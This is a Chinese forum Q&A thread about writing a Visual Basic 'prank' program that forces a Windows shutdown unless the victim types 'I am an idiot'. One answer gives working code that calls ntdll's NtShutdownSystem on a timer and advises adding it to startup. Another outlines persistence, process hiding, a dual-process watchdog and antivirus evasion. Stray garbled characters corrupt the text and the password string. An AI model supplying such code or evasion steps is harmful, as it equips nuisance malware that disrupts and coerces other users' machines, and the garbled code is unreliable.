Question

vb关机的问题

我想用vb做个整人的程序，只要用户一启动就调用系统的shutdown，让系统自动关机，我现在想弄一个提示框，让用户在里面输入一个字符串，如“我是笨蛋”，然后就可以关闭这个程序，否则就不能关闭这个程序，继续输入，如果一直没输对的话，我设定时间到了就关机！请问这样的程序要怎么做，请高手指教！

Answer 1

在界面上画一个COMMAND1,TEXT1，timer1 ，然后添加以下代码：
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const shutdown& = 0
Private Const RESTART& = 1
Private Const PowerOff& = 2

Private Sub Command1_Click()
If Text1.Text = "我是笨圆拍蛋" Then
End
Else
Text1.Text = ""
End If
End Sub

Private Sub Form_Load()
Timer1.Interval = 20000 '20秒倒计时
End Sub

Private Sub SD()
RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
NtShutdownSystem PowerOff
End Sub

Private Sub Timer1_Timer()
SD
Timer1.Enabled = False
End Sub

生成后添加到启动项，系统启动时运行就可以了。

还有一种简单点：
在界面上画一个COMMAND1,TEXT1，输入如下代指腔晌码：
Private Sub Command1_Click()
If Text1.Text = "我是笨蛋" Then
Shell ("shutdown -a")
end
End If
End Sub

Private Sub Form_Load()
Shell ("shutdown -s -t 300 -c 输入密码以取消倒计时")
End Sub

-----------------------------------
添酒不添愁 提的建议不错哦，我以前自己试过。
可是这个就超过玩笑程序的限度了。（是不是有点像唯锋病毒）

Answer 2

程序到是很简单 就是过不了杀毒软件
楼下的冲埋代码 可以使用ctrl+shift+delete 结束进程
没有起到隐藏进程的目的
既然是整人的那答判弊么思路应该如下
1 运行程序 添加到启动项 或 服务
2 隐藏进程 或清族者 双进程守护
3 过杀毒软件

Answer 3

这个不错。。。